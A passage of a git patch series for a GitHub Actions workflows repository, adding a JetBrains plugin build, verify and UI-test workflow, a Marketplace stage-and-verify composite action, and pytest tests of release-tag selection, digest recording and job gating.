value.startswith("$/")} + + assert local == { + "$/install-locked-tools", + "$/cooled-prek", + "$/validate-release-patch", + "$/commit-and-tag", + } + assert all("@" in value and len(value.rsplit("@", 1)[1]) == 40 for value in uses if value not in local) + + +def test_inputs_match_the_documented_contract(workflow: dict[Any, Any]) -> None: + inputs = workflow[True]["workflow_call"]["inputs"] + + assert inputs["tag-format"]["default"] == "{version}" + assert inputs["package"]["default"] == "" + assert inputs["assemble-command"]["required"] is True + assert inputs["release-paths"]["required"] is True + assert inputs["cargo-set-version"]["default"] is False + assert inputs["cargo-set-version-args"]["default"] == "" + assert inputs["changelog"]["default"] == "CHANGELOG.md" + + +def test_cargo_tools_install_only_for_a_cargo_bump(workflow: dict[Any, Any]) -> None: + gated = [item["name"] for item in workflow["jobs"]["assemble"]["steps"] if item.get("name", "").startswith("๐Ÿฆ€")] + + assert gated == ["๐Ÿฆ€ Install Rust toolchain", "๐Ÿฆ€ Install cargo-edit"] + assert all( + item["if"] == "${{ inputs.cargo-set-version }}" + for item in workflow["jobs"]["assemble"]["steps"] + if item.get("name", "").startswith("๐Ÿฆ€") + ) + + +def test_format_retries_once_when_mdformat_rewrites(workflow: dict[Any, Any]) -> None: + first = step(workflow, "assemble", "๐Ÿงน Format changelog") + second = step(workflow, "assemble", "๐Ÿงน Confirm changelog format") + + assert first["continue-on-error"] is True + assert second["if"] == "${{ steps.format.outcome == 'failure' }}" + assert first["with"]["args"] == second["with"]["args"] + + +def _run_version( + repository: Path, tmp_path: Path, workflow: dict[Any, Any], **environment: str +) -> subprocess.CompletedProcess[str]: + script = step(workflow, "assemble", "๐Ÿท๏ธ Select release version")["run"] + output = tmp_path / "output" + output.touch() + values = {"BUMP": "minor", "PACKAGE": "", "TAG_FORMAT": "{version}", "CHANGELOG": "CHANGELOG.md"} | environment + return subprocess.run( + ["bash", "--noprofile", "--norc", "-e", "-o", "pipefail", "-c", script], + cwd=repository, + env={ + "PATH": f"{Path(sys.executable).parent}{os.pathsep}{os.environ['PATH']}", + "GITHUB_OUTPUT": str(output), + "RELEASE_PATHS": "CHANGELOG.md", + } + | values, + text=True, + capture_output=True, + check=False, + ) + + +def _outputs(path: Path) -> dict[str, str]: + scalars, _, paths = path.read_text().partition("release-paths< Path: + root = tmp_path / "repository" + root.mkdir() + git = ["git", "-c", "user.name=t", "-c", "user.email=t@example.org"] + subprocess.run([*git, "init", "-q", "-b", "main", str(root)], check=True) + (root / "CHANGELOG.md").write_text("# Changelog\n") + subprocess.run([*git, "-C", str(root), "add", "."], check=True) + subprocess.run([*git, "-C", str(root), "commit", "-qm", "init"], check=True) + for tag in ("1.0.0", "pyproject-fmt/1.0.0", "pyproject-fmt/1.0.3"): + subprocess.run([*git, "-C", str(root), "tag", tag], check=True) + return root + + +def test_unscoped_version_is_bare(repository: Path, tmp_path: Path, workflow: dict[Any, Any]) -> None: + result = _run_version(repository, tmp_path, workflow) + + assert result.returncode == 0, result.stderr + assert _outputs(tmp_path / "output")["version"] == "1.1.0" + assert _outputs(tmp_path / "output")["number"] == "1.1.0" + + +def test_v_prefixed_tag_keeps_the_number_bare(repository: Path, tmp_path: Path, workflow: dict[Any, Any]) -> None: + result = _run_version(repository, tmp_path, workflow, TAG_FORMAT="v{version}") + + assert result.returncode == 0, result.stderr + assert _outputs(tmp_path / "output")["version"] == "v1.1.0" + assert _outputs(tmp_path / "output")["number"] == "1.1.0" + + +def test_scoped_tag_uses_the_package_and_its_own_history( + repository: Path, tmp_path: Path, workflow: dict[Any, Any] +) -> None: + result = _run_version( + repository, tmp_path, workflow, PACKAGE="pyproject-fmt", BUMP="patch", TAG_FORMAT="{package}/{version}" + ) + + assert result.returncode == 0, result.stderr + assert _outputs(tmp_path / "output")["version"] == "pyproject-fmt/1.0.4" + + +def test_scoped_v_tag_keeps_the_v_inside_the_package_path( + repository: Path, tmp_path: Path, workflow: dict[Any, Any] +) -> None: + result = _run_version( + repository, tmp_path, workflow, PACKAGE="pyproject-fmt", BUMP="patch", TAG_FORMAT="{package}/v{version}" + ) + + assert result.returncode == 0, result.stderr + assert _outputs(tmp_path / "output")["version"] == "pyproject-fmt/v1.0.4" + + +def test_release_paths_expand_the_package(repository: Path, tmp_path: Path, workflow: dict[Any, Any]) -> None: + result = _run_version( + repository, + tmp_path, + workflow, + PACKAGE="pyproject-fmt", + BUMP="patch", + TAG_FORMAT="{package}/{version}", + RELEASE_PATHS="CHANGELOG.md\n{package}/Cargo.toml\nchangelog.d/{package}/*", + ) + + assert result.returncode == 0, result.stderr + assert _outputs(tmp_path / "output")["release-paths"] == ( + "CHANGELOG.md\npyproject-fmt/Cargo.toml\nchangelog.d/pyproject-fmt/*" + ) + + +@pytest.mark.parametrize( + ("environment", "message"), + [ + pytest.param({"TAG_FORMAT": "release-{version}"}, "unsupported tag-format", id="unknown-format"), + pytest.param({"PACKAGE": "pyproject-fmt"}, "names no package", id="package-without-scope"), + pytest.param({"TAG_FORMAT": "{package}/{version}"}, "needs a package input", id="scope-without-package"), + ], +) +def test_bad_tag_format_stops_before_tagging( + repository: Path, tmp_path: Path, workflow: dict[Any, Any], environment: dict[str, str], message: str +) -> None: + result = _run_version(repository, tmp_path, workflow, **environment) + + assert result.returncode != 0 + assert message in result.stderr From 26c746f2507b481e5439f7220d1d6e40a0dd298d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 17:51:01 -0800 Subject: [PATCH 17/38] =?UTF-8?q?=E2=9C=A8=20feat(jetbrains):=20add=20reus?= =?UTF-8?q?able=20plugin=20check?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add a reusable workflow that builds the unsigned plugin ZIP and records its SHA256, runs verifyPlugin for each entry of a matrix input, runs the Xvfb UI tests with a configurable start timeout, and gates on all of them. Release callers pass the tag as plugin-version and sign the recorded ZIP. The build selects exactly one archive matching the version, and keeps the Gradle cache off because the ZIP feeds a signed release. UI-test reports upload on failure. --- .github/workflows/jetbrains-plugin-check.yaml | 201 ++++++++++++++++++ README.md | 24 +++ .../+jetbrains-plugin-check.feature.md | 3 + tests/conftest.py | 21 ++ tests/jetbrains_plugin_check/test_check.py | 147 +++++++++++++ 5 files changed, 396 insertions(+) create mode 100644 .github/workflows/jetbrains-plugin-check.yaml create mode 100644 changelog.d/+jetbrains-plugin-check.feature.md create mode 100644 tests/jetbrains_plugin_check/test_check.py diff --git a/.github/workflows/jetbrains-plugin-check.yaml b/.github/workflows/jetbrains-plugin-check.yaml new file mode 100644 index 0000000..a5da070 --- /dev/null +++ b/.github/workflows/jetbrains-plugin-check.yaml @@ -0,0 +1,201 @@ +name: ๐Ÿงฉ JetBrains plugin check +on: + workflow_call: + inputs: + plugin-version: + description: Version written to gradle.properties before the build, such as a release tag; empty keeps the committed pluginVersion + required: false + type: string + default: "" + verify-matrix: + description: JSON array of objects with label, ide, and version keys; each entry runs verifyPlugin against that IDE + required: false + type: string + default: '[{"label":"PY","ide":"PY","version":""}]' + ui-test-timeout: + description: Seconds to wait for the test IDE to answer on port 8082 before the UI tests start + required: false + type: number + default: 300 + outputs: + archive-sha256: + description: SHA256 of the unsigned plugin ZIP, checked again by the signing job + value: ${{ jobs.build.outputs.archive-sha256 }} + archive-name: + description: File name of the unsigned plugin ZIP + value: ${{ jobs.build.outputs.archive-name }} + artifact-id: + description: ID of the unsigned-plugin artifact, downloaded by the signing job + value: ${{ jobs.build.outputs.artifact-id }} +permissions: {} +jobs: + build: + name: ๐Ÿ—๏ธ Build unsigned plugin + runs-on: ubuntu-26.04 + permissions: + contents: read + outputs: + archive-sha256: ${{ steps.archive.outputs.sha256 }} + archive-name: ${{ steps.archive.outputs.name }} + artifact-id: ${{ steps.upload.outputs.artifact-id }} + steps: + - name: ๐Ÿงฝ Free disk space + uses: jlumbroso/free-disk-space@ceedf095f4ec1a097402bc6bd80831f2e1a6fde6 # v2.0.0 + with: + tool-cache: false + large-packages: false + - name: ๐Ÿ“ฅ Check out code + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + - name: ๐Ÿงฐ Set up mise (JDKs) + uses: jdx/mise-action@6be3c7ed4c21d4f76b208d351d95aac273ebb76d # v5.2.4 + with: + cache: false + # The build feeds the signed release, so Gradle's cache stays off to keep a cached artifact out of it. + - name: โ˜• Set up Gradle + uses: gradle/actions/setup-gradle@3f5f9adaf7d9fecd50b5935e54106014257a94e6 # v6.4.0 # zizmor: ignore[cache-poisoning] + with: + cache-disabled: true + - name: ๐Ÿท๏ธ Set plugin version + if: ${{ inputs.plugin-version != '' }} + env: + PLUGIN_VERSION: ${{ inputs.plugin-version }} + run: | + set -euo pipefail + sed -i "s/^pluginVersion=.*/pluginVersion=${PLUGIN_VERSION#v}/" gradle.properties + grep -Fxq "pluginVersion=${PLUGIN_VERSION#v}" gradle.properties + - name: ๐Ÿ—๏ธ Build plugin ZIP + run: ./gradlew --console=plain buildPlugin + - name: โš™๏ธ Record unsigned ZIP digest + id: archive + run: | + set -euo pipefail + version=$(sed -n 's/^pluginVersion=//p' gradle.properties) + shopt -s nullglob + archives=(build/distributions/*-"$version".zip) + if ((${#archives[@]} != 1)); then + echo "::error::expected one plugin ZIP for version $version, found ${#archives[@]}" >&2 + exit 1 + fi + read -r digest _ < <(sha256sum "${archives[0]}") + echo "name=${archives[0]##*/}" >>"$GITHUB_OUTPUT" + echo "sha256=$digest" >>"$GITHUB_OUTPUT" + - name: ๐Ÿ“ค Upload unsigned plugin + id: upload + uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2 + with: + name: unsigned-plugin + path: build/distributions/${{ steps.archive.outputs.name }} + if-no-files-found: error + retention-days: 30 + verify: + name: ๐Ÿ” Verify (${{ matrix.label }}) + runs-on: ubuntu-26.04 + permissions: + contents: read + strategy: + fail-fast: false + matrix: + include: ${{ fromJSON(inputs.verify-matrix) }} + steps: + - name: ๐Ÿงฝ Free disk space + uses: jlumbroso/free-disk-space@ceedf095f4ec1a097402bc6bd80831f2e1a6fde6 # v2.0.0 + with: + tool-cache: false + large-packages: false + android: true + dotnet: true + haskell: true + docker-images: true + - name: ๐Ÿ“ฅ Check out code + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + - name: ๐Ÿงฐ Set up mise (JDKs) + uses: jdx/mise-action@6be3c7ed4c21d4f76b208d351d95aac273ebb76d # v5.2.4 + - name: โ˜• Set up Gradle + uses: gradle/actions/setup-gradle@3f5f9adaf7d9fecd50b5935e54106014257a94e6 # v6.4.0 + - name: ๐Ÿ’พ Cache verifier IDEs + uses: actions/cache@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 + with: + path: ~/.pluginVerifier/ides + key: plugin-verifier-ides-${{ matrix.ide }}-${{ matrix.version }}-${{ hashFiles('gradle.properties') }} + - name: ๐Ÿ” Run verification + env: + IDE: ${{ matrix.ide }} + VERSION: ${{ matrix.version }} + run: | + set -euo pipefail + args=(verifyPlugin "-PverifyIde=$IDE") + if [[ -n "$VERSION" ]]; then args+=("-PverifyVersion=$VERSION"); fi + ./gradlew --console=plain "${args[@]}" + - name: ๐Ÿ“ค Upload results + if: ${{ always() }} + uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2 + with: + name: pluginVerifier-result-${{ matrix.label }} + path: ${{ github.workspace }}/build/reports/pluginVerifier + if-no-files-found: ignore + ui-test: + name: ๐Ÿงช UI tests + runs-on: ubuntu-26.04 + permissions: + contents: read + steps: + - name: ๐Ÿงฝ Free disk space + uses: jlumbroso/free-disk-space@ceedf095f4ec1a097402bc6bd80831f2e1a6fde6 # v2.0.0 + with: + tool-cache: false + large-packages: false + - name: ๐Ÿ“ฅ Check out code + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + - name: ๐Ÿงฐ Set up mise (JDKs) + uses: jdx/mise-action@6be3c7ed4c21d4f76b208d351d95aac273ebb76d # v5.2.4 + - name: โ˜• Set up Gradle + uses: gradle/actions/setup-gradle@3f5f9adaf7d9fecd50b5935e54106014257a94e6 # v6.4.0 + - name: ๐Ÿ—๏ธ Build test IDE sandbox + run: ./gradlew --console=plain buildPlugin compileTestKotlin + - name: ๐Ÿงช Run UI tests + env: + UI_TEST_TIMEOUT: ${{ inputs.ui-test-timeout }} + run: | + set -euo pipefail + export DISPLAY=:99.0 + Xvfb :99 -screen 0 1920x1080x24 & + xvfb_pid=$! + ./gradlew --console=plain runIdeForUiTests & + ide_pid=$! + trap 'kill "$xvfb_pid" "$ide_pid" 2>/dev/null' EXIT + echo "Waiting up to $UI_TEST_TIMEOUT seconds for the IDE..." + if ! timeout "$UI_TEST_TIMEOUT" bash -c 'until curl -s http://127.0.0.1:8082 >/dev/null 2>&1; do sleep 2; done'; then + echo "::error::IDE did not answer on port 8082 within $UI_TEST_TIMEOUT seconds" >&2 + exit 1 + fi + echo "IDE is ready" + ./gradlew --console=plain uiTest + - name: ๐Ÿ“ค Upload UI test artifacts + if: ${{ failure() }} + uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2 + with: + name: ui-test-failure + path: | + build/reports/ + build/idea-sandbox/**/log/idea.log + if-no-files-found: ignore + retention-days: 14 + gate: + name: ๐Ÿšฆ Required checks pass + if: ${{ !cancelled() }} + needs: [build, verify, ui-test] + runs-on: ubuntu-26.04 + permissions: {} + steps: + - name: ๐Ÿšฆ Require all needed jobs to pass + env: + NEEDS_JSON: ${{ toJSON(needs) }} + run: | + jq -r 'to_entries[] | "Job \(.key): \(.value.result)"' <<<"$NEEDS_JSON" + jq -e 'all(to_entries[]; .value.result == "success")' <<<"$NEEDS_JSON" diff --git a/README.md b/README.md index f4f2e05..fe1e3ff 100644 --- a/README.md +++ b/README.md @@ -1286,6 +1286,30 @@ What stays in the caller: - Any Cargo or uv version change beyond `cargo-set-version`, such as `uv version --package` for a second Python package. - The tag-triggered publisher, which stays in the caller repository. +## Check a JetBrains plugin + +`jetbrains-plugin-check.yaml` builds the plugin ZIP, records its SHA256, runs `verifyPlugin` for each `verify-matrix` +entry, and runs the Xvfb UI tests. Its `gate` job requires all of them. Lint and unit tests stay in the caller. The +workflow needs no secret and holds `contents: read`. + +```yaml +jobs: + plugin: + uses: tox-dev/github-workflows/.github/workflows/jetbrains-plugin-check.yaml@SHA + permissions: + contents: read +``` + +- `plugin-version`: written to `pluginVersion` before the build, with a leading `v` removed. Empty keeps the committed + value. A release caller passes `${{ github.ref_name }}`. +- `verify-matrix`: JSON array of `{label, ide, version}` objects. The default verifies `PY` only. Add an entry with + `version: 263-EAP-SNAPSHOT` to catch platform APIs the next release removes. +- `ui-test-timeout`: seconds to wait for the test IDE to answer on port 8082. Default `300`. + +The `build` job exports `archive-sha256`, `archive-name`, and `artifact-id` for `sign-jetbrains-plugin`. It selects +exactly one ZIP that matches the version, and it keeps Gradle's cache off because the ZIP feeds a signed release. The +`unsigned-plugin` artifact is retained for 30 days. UI-test reports upload on failure for 14 days. + ## Test a caller The [Actions test suite](tests) executes each inline `run:` block in temporary Git repositories. Test a caller's diff --git a/changelog.d/+jetbrains-plugin-check.feature.md b/changelog.d/+jetbrains-plugin-check.feature.md new file mode 100644 index 0000000..8e386cd --- /dev/null +++ b/changelog.d/+jetbrains-plugin-check.feature.md @@ -0,0 +1,3 @@ +Add `jetbrains-plugin-check.yaml`, a reusable JetBrains plugin check that builds the ZIP and records its SHA256, runs +`verifyPlugin` for each IDE in a matrix input, runs the Xvfb UI tests with a configurable start timeout, and gates on +all of them. A release caller passes the tag as `plugin-version` and signs the ZIP from the recorded digest. diff --git a/tests/conftest.py b/tests/conftest.py index b2a6889..8f4a6c6 100644 --- a/tests/conftest.py +++ b/tests/conftest.py @@ -359,6 +359,27 @@ def _run_action( return subprocess.CompletedProcess(command, 0, "".join(stdout), "".join(stderr)), outputs +def workflow_step( + workflow: str, + job: str, + name: str, + cwd: Path, + environment: Mapping[str, str], +) -> subprocess.CompletedProcess[str]: + steps = yaml.safe_load((Path(__file__).resolve().parents[1] / ".github/workflows" / workflow).read_text())["jobs"][ + job + ]["steps"] + script = next(step["run"] for step in steps if step.get("name") == name) + return subprocess.run( + ["bash", "--noprofile", "--norc", "-eo", "pipefail", "-c", script], + cwd=cwd, + env=_safe_environment() | dict(environment), + text=True, + capture_output=True, + check=False, + ) + + def run(directory: Path, *command: str) -> subprocess.CompletedProcess[str]: environment = _safe_environment() result = subprocess.run( diff --git a/tests/jetbrains_plugin_check/test_check.py b/tests/jetbrains_plugin_check/test_check.py new file mode 100644 index 0000000..b80abc5 --- /dev/null +++ b/tests/jetbrains_plugin_check/test_check.py @@ -0,0 +1,147 @@ +from __future__ import annotations + +import hashlib +import json +import subprocess +from pathlib import Path +from typing import Any, Final + +import pytest +import yaml +from conftest import workflow_step + +WORKFLOW: Final[str] = "jetbrains-plugin-check.yaml" +ROOT: Final = Path(__file__).resolve().parents[2] + + +def _workflow() -> dict[str, Any]: + return yaml.load((ROOT / ".github/workflows" / WORKFLOW).read_text(), Loader=yaml.BaseLoader) + + +def _step(job: str, name: str) -> dict[str, Any]: + return next(step for step in _workflow()["jobs"][job]["steps"] if step.get("name") == name) + + +def _record_digest(directory: Path, output: Path) -> subprocess.CompletedProcess[str]: + return workflow_step( + WORKFLOW, + "build", + "โš™๏ธ Record unsigned ZIP digest", + directory, + {"GITHUB_OUTPUT": str(output)}, + ) + + +@pytest.mark.parametrize( + ("archives", "accepted"), + [ + pytest.param([], False, id="no-archive"), + pytest.param(["Plugin-1.2.3.zip"], True, id="one-archive"), + pytest.param(["Plugin-1.2.3.zip", "Other-1.2.3.zip"], False, id="ambiguous"), + ], +) +def test_build_records_digest_of_exactly_one_zip(tmp_path: Path, archives: list[str], accepted: bool) -> None: + (tmp_path / "gradle.properties").write_text("pluginVersion=1.2.3\n") + distributions = tmp_path / "build/distributions" + distributions.mkdir(parents=True) + for name in archives: + (distributions / name).write_bytes(b"zip bytes") + output = tmp_path / "output" + result = _record_digest(tmp_path, output) + assert (result.returncode == 0) is accepted, result.stderr + if accepted: + fields = dict(line.split("=", 1) for line in output.read_text().splitlines()) + assert fields == {"name": "Plugin-1.2.3.zip", "sha256": hashlib.sha256(b"zip bytes").hexdigest()} + + +def test_build_ignores_archives_of_other_versions(tmp_path: Path) -> None: + (tmp_path / "gradle.properties").write_text("pluginVersion=1.2.3\n") + distributions = tmp_path / "build/distributions" + distributions.mkdir(parents=True) + (distributions / "Plugin-1.2.2.zip").write_bytes(b"old") + (distributions / "Plugin-1.2.3.zip").write_bytes(b"new") + output = tmp_path / "output" + result = _record_digest(tmp_path, output) + assert result.returncode == 0, result.stderr + assert "name=Plugin-1.2.3.zip" in output.read_text() + + +def test_plugin_version_input_overrides_committed_version(tmp_path: Path) -> None: + (tmp_path / "gradle.properties").write_text("pluginVersion=1.2.2\nother=keep\n") + result = workflow_step(WORKFLOW, "build", "๐Ÿท๏ธ Set plugin version", tmp_path, {"PLUGIN_VERSION": "v1.2.3"}) + assert result.returncode == 0, result.stderr + assert (tmp_path / "gradle.properties").read_text() == "pluginVersion=1.2.3\nother=keep\n" + + +def test_plugin_version_rejects_sed_metacharacters(tmp_path: Path) -> None: + (tmp_path / "gradle.properties").write_text("pluginVersion=1.2.2\n") + result = workflow_step(WORKFLOW, "build", "๐Ÿท๏ธ Set plugin version", tmp_path, {"PLUGIN_VERSION": "1&2"}) + assert result.returncode != 0 + + +def test_verify_matrix_default_checks_python_only() -> None: + default = _workflow()["on"]["workflow_call"]["inputs"]["verify-matrix"]["default"] + assert json.loads(default) == [{"label": "PY", "ide": "PY", "version": ""}] + + +def test_ui_timeout_input_bounds_ide_start() -> None: + assert _workflow()["on"]["workflow_call"]["inputs"]["ui-test-timeout"]["default"] == "300" + assert _step("ui-test", "๐Ÿงช Run UI tests")["env"] == {"UI_TEST_TIMEOUT": "${{ inputs.ui-test-timeout }}"} + + +def test_ui_test_failure_uploads_reports() -> None: + upload = _step("ui-test", "๐Ÿ“ค Upload UI test artifacts") + assert upload["if"] == "${{ failure() }}" + assert "build/idea-sandbox/**/log/idea.log" in upload["with"]["path"] + + +def test_jobs_hold_read_permission_only() -> None: + workflow = _workflow() + assert workflow["permissions"] == {} + for name in ("build", "verify", "ui-test"): + assert workflow["jobs"][name]["permissions"] == {"contents": "read"} + assert workflow["jobs"]["gate"]["permissions"] == {} + + +def test_outputs_come_from_build_job() -> None: + outputs = _workflow()["on"]["workflow_call"]["outputs"] + assert outputs["archive-sha256"]["value"] == "${{ jobs.build.outputs.archive-sha256 }}" + assert outputs["artifact-id"]["value"] == "${{ jobs.build.outputs.artifact-id }}" + + +def test_verify_step_passes_matrix_entries_through_env() -> None: + assert _step("verify", "๐Ÿ” Run verification")["env"] == { + "IDE": "${{ matrix.ide }}", + "VERSION": "${{ matrix.version }}", + } + + +@pytest.mark.parametrize( + ("failed_result", "accepted"), + [ + pytest.param(None, True, id="all-succeeded"), + pytest.param("skipped", False, id="skipped-job"), + pytest.param("failure", False, id="failed-job"), + ], +) +def test_gate_requires_every_job_to_succeed(failed_result: str | None, accepted: bool, tmp_path: Path) -> None: + names = _workflow()["jobs"]["gate"]["needs"] + needs = {name: {"result": "success"} for name in names} + if failed_result is not None: + needs[names[-1]] = {"result": failed_result} + result = workflow_step( + WORKFLOW, + "gate", + "๐Ÿšฆ Require all needed jobs to pass", + tmp_path, + {"NEEDS_JSON": json.dumps(needs)}, + ) + assert (result.returncode == 0) is accepted, result.stderr + + +def test_run_blocks_take_no_expressions_and_mask_no_failures() -> None: + for job in _workflow()["jobs"].values(): + for step in job.get("steps", []): + script = step.get("run", "") + assert "${{" not in script, step.get("name") + assert "|| true" not in script, step.get("name") From 1b89ca53b27f19eed2de218c5ae72e2e85fc0e2d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 17:51:01 -0800 Subject: [PATCH 18/38] =?UTF-8?q?=E2=9C=A8=20feat(jetbrains):=20stage=20Ma?= =?UTF-8?q?rketplace=20uploads?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add a composite that checks a signed ZIP against the Marketplace with release-creator before upload (mode stage) and against the public version afterwards (mode verify). The channel is derived from the tag suffix, so callers pass it to the publish action instead of computing it. --- README.md | 34 +++++ .../+jetbrains-marketplace-stage.feature.md | 2 + stage-jetbrains-marketplace/action.yml | 72 ++++++++++ tests/conftest.py | 1 + .../stage_jetbrains_marketplace/test_stage.py | 135 ++++++++++++++++++ 5 files changed, 244 insertions(+) create mode 100644 changelog.d/+jetbrains-marketplace-stage.feature.md create mode 100644 stage-jetbrains-marketplace/action.yml create mode 100644 tests/stage_jetbrains_marketplace/test_stage.py diff --git a/README.md b/README.md index fe1e3ff..032eff5 100644 --- a/README.md +++ b/README.md @@ -1310,6 +1310,40 @@ The `build` job exports `archive-sha256`, `archive-name`, and `artifact-id` for exactly one ZIP that matches the version, and it keeps Gradle's cache off because the ZIP feeds a signed release. The `unsigned-plugin` artifact is retained for 30 days. UI-test reports upload on failure for 14 days. +## Stage and verify a JetBrains Marketplace release + +`stage-jetbrains-marketplace` checks a signed ZIP with `release-creator marketplace`. In `mode: stage`, before upload, +it outputs `publish` (`true` when no public version matches) and `channel`. In `mode: verify`, after the version is +public, it compares the public member bytes and outputs nothing. Install `release-creator` from the caller's locked +release tools first. + +The channel is the tag suffix before the first dot: `v1.2.3-beta.1` gives `beta`, and `v1.2.3` gives an empty Stable +channel. Pass `channel` to `publish-jetbrains-marketplace`. + +```yaml + marketplace-check: + needs: sign + runs-on: ubuntu-26.04 + permissions: + contents: read + outputs: + publish: ${{ steps.stage.outputs.publish }} + channel: ${{ steps.stage.outputs.channel }} + steps: + - uses: actions/download-artifact@DOWNLOAD_SHA + with: + artifact-ids: ${{ needs.sign.outputs.artifact-id }} + path: dist + - id: stage + uses: tox-dev/github-workflows/stage-jetbrains-marketplace@SHA + with: + archive: dist/Plugin-1.2.3-signed.zip + sha256: ${{ needs.sign.outputs.sha256 }} + plugin-id: com.github.toxdev.fish + version: ${{ github.ref_name }} + mode: stage +``` + ## Test a caller The [Actions test suite](tests) executes each inline `run:` block in temporary Git repositories. Test a caller's diff --git a/changelog.d/+jetbrains-marketplace-stage.feature.md b/changelog.d/+jetbrains-marketplace-stage.feature.md new file mode 100644 index 0000000..20aef2a --- /dev/null +++ b/changelog.d/+jetbrains-marketplace-stage.feature.md @@ -0,0 +1,2 @@ +Add `stage-jetbrains-marketplace`, which checks a signed plugin ZIP against JetBrains Marketplace before upload and +again after the version is public, and derives the Marketplace channel from the tag suffix. diff --git a/stage-jetbrains-marketplace/action.yml b/stage-jetbrains-marketplace/action.yml new file mode 100644 index 0000000..a7a9bd3 --- /dev/null +++ b/stage-jetbrains-marketplace/action.yml @@ -0,0 +1,72 @@ +name: Stage or verify JetBrains Marketplace plugin +description: Compare a signed ZIP with the Marketplace before upload, or with the public version after it +inputs: + archive: + description: Signed plugin ZIP recorded by the signing job + required: true + sha256: + description: SHA256 recorded by the signing job before artifact upload + required: true + plugin-id: + description: JetBrains plugin XML ID, such as com.github.toxdev.fish + required: true + version: + description: Release tag, such as v1.2.3 or v1.2.3-beta.1; the v prefix is removed + required: true + mode: + description: stage compares before upload and emits publish; verify compares the public version after upload + default: stage +outputs: + publish: + description: true when stage finds no public version and the upload should run; empty in verify mode + value: ${{ steps.stage.outputs.publish }} + channel: + description: Marketplace channel from the tag suffix, such as beta; empty selects Stable + value: ${{ steps.channel.outputs.name }} +runs: + using: composite + steps: + - name: ๐Ÿ” Verify signed ZIP digest + shell: bash + env: + ARCHIVE: ${{ inputs.archive }} + EXPECTED_SHA: ${{ inputs.sha256 }} + run: | + set -euo pipefail + read -r actual _ < <(sha256sum "$ARCHIVE") + if [[ "$actual" != "$EXPECTED_SHA" ]]; then + echo "::error::signed ZIP ${ARCHIVE##*/} has SHA256 $actual, the signing job recorded $EXPECTED_SHA" >&2 + exit 1 + fi + echo "Signed ZIP ${ARCHIVE##*/}: SHA256 matches the signing job" + - name: โš™๏ธ Select Marketplace channel + id: channel + shell: bash + env: + TAG: ${{ inputs.version }} + run: | + set -euo pipefail + version="${TAG#v}" + channel="${version#*-}" + if [[ "$channel" == "$version" ]]; then channel=''; fi + echo "name=${channel%%.*}" >>"$GITHUB_OUTPUT" + - name: ๐Ÿ” Compare Marketplace version + id: stage + shell: bash + env: + ARCHIVE: ${{ inputs.archive }} + PLUGIN_ID: ${{ inputs.plugin-id }} + VERSION: ${{ inputs.version }} + MODE: ${{ inputs.mode }} + run: | + set -euo pipefail + case "$MODE" in + stage | verify) ;; + *) + echo "::error::mode must be stage or verify, got $MODE" >&2 + exit 1 + ;; + esac + args=(marketplace --plugin-id "$PLUGIN_ID" --version "${VERSION#v}" --archive "$ARCHIVE" --mode "$MODE") + if [[ "$MODE" == stage ]]; then args+=(--github-output "$GITHUB_OUTPUT"); fi + release-creator "${args[@]}" diff --git a/tests/conftest.py b/tests/conftest.py index 8f4a6c6..64408ae 100644 --- a/tests/conftest.py +++ b/tests/conftest.py @@ -81,6 +81,7 @@ def action_scripts(tmp_path_factory: pytest.TempPathFactory) -> Path: "publish-jetbrains-marketplace", "sign-jetbrains-plugin", "publish-post-release-pr", + "stage-jetbrains-marketplace", ): action = yaml.safe_load((source / action_name / "action.yml").read_text()) for index, step in enumerate(action["runs"]["steps"]): diff --git a/tests/stage_jetbrains_marketplace/test_stage.py b/tests/stage_jetbrains_marketplace/test_stage.py new file mode 100644 index 0000000..798b652 --- /dev/null +++ b/tests/stage_jetbrains_marketplace/test_stage.py @@ -0,0 +1,135 @@ +from __future__ import annotations + +import hashlib +import os +from pathlib import Path +from typing import Final + +import pytest +from conftest import action + +STUB: Final[str] = """\ +#!/usr/bin/env bash +printf '%s\\n' "$@" >"$RUNNER_TEMP/release-creator.args" +while (($#)); do + if [[ "$1" == --github-output ]]; then echo publish=true >>"$2"; fi + shift +done +""" + + +@pytest.fixture +def release_creator(tmp_path: Path) -> Path: + bin_dir = tmp_path / "bin" + bin_dir.mkdir() + script = bin_dir / "release-creator" + script.write_text(STUB) + script.chmod(0o755) + return bin_dir + + +@pytest.fixture +def signed_archive(tmp_path: Path) -> tuple[Path, str]: + archive = tmp_path / "Plugin-1.2.3-signed.zip" + archive.write_bytes(b"signed bytes") + return archive, hashlib.sha256(b"signed bytes").hexdigest() + + +@pytest.mark.parametrize( + ("version", "mode", "channel", "publish", "github_output"), + [ + pytest.param("v1.2.3", "stage", "", "true", True, id="stable-stage"), + pytest.param("v1.2.3-beta.1", "stage", "beta", "true", True, id="beta-stage"), + pytest.param("v1.2.3-beta.1", "verify", "beta", "", False, id="beta-verify"), + ], +) +def test_compares_archive_and_derives_channel( + action_scripts: Path, + repository: Path, + tmp_path: Path, + release_creator: Path, + signed_archive: tuple[Path, str], + version: str, + mode: str, + channel: str, + publish: str, + github_output: bool, +) -> None: + archive, digest = signed_archive + outputs: dict[str, str] = {} + result = action( + repository, + tmp_path, + action_scripts, + "stage-jetbrains-marketplace", + outputs, + version=version, + ARCHIVE=str(archive), + SHA256=digest, + PLUGIN_ID="com.example.plugin", + MODE=mode, + PATH=f"{release_creator}:{os.environ['PATH']}", + ) + assert result.returncode == 0, result.stderr + assert outputs == {"channel": channel, "publish": publish} + arguments = (tmp_path / "release-creator.args").read_text().splitlines() + assert arguments[:8] == [ + "marketplace", + 